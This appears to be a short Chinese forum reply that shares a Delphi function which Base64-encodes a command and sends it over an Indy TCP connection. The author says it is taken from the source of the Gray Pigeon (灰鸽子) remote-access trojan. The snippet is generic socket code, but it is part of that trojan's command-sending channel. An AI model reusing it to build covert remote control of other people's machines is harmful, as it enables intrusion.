可以的
functionSendStreamToServer(AThread:TIdPeerThread;Cmd:String): Boolean;
//AThread为客户端连接的线程
var
MyStream: TMemoryStream;
i:integer;
begin
Result := False;
try
MyStream:=TMemoryStream.Create; //内存流创建
Cmd:=EncodeBase64(Cmd); //加密的命令符
MyStream.Write(Cmd[1],Length(Cmd)); //命令符写入内存流
MyStream.Position:=0;
i:=MyStream.size;
[red] AThread.Connection.Write(inttostr(i)+EOL); //写入命令长度加Eol
AThread.Connection.WriteStream(MyStream); //写入命令字符流[/red]
Result := True;
finally
MyStream.Free;
end;
end;
以上代码是灰鸽子源码中的,红色部分便是发送的具体实现